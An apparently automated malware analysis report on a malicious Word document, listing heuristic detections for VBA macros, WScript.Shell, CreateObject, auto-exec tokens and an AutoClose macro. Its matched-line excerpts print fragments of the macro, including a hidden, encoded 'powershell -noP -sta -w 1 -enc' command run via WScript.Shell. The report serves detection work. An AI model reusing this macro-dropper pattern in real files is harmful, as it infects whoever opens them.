Malicious Office (OOXML) — malware analysis report

Heuristics 7

• VBA project inside OOXML medium 5 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      vz = vz + "dABvAEUAbgBEACgAIAApACAAfQApACAA"
      Set asd = CreateObject("WScript.Shell")
      asd.Run (vz)

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

      Dim vz As String
      vz = "powershell -noP -sta -w 1 -enc  IABpAE4AVgBPAGsARQ"
      vz = vz + "AtAEUAeABwAFIAZQBTAFMAaQBPAE4AKABuAEUAVwAtAE8AQgBK"

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

      vz = vz + "dABvAEUAbgBEACgAIAApACAAfQApACAA"
      Set asd = CreateObject("WScript.Shell")
      asd.Run (vz)

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• Auto_Close macro low OLE_VBA_AUTOCLOSE
  Auto_Close macro
  Matched line in script

  Attribute VB_Customizable = True
  Sub AutoClose()
      rTd

• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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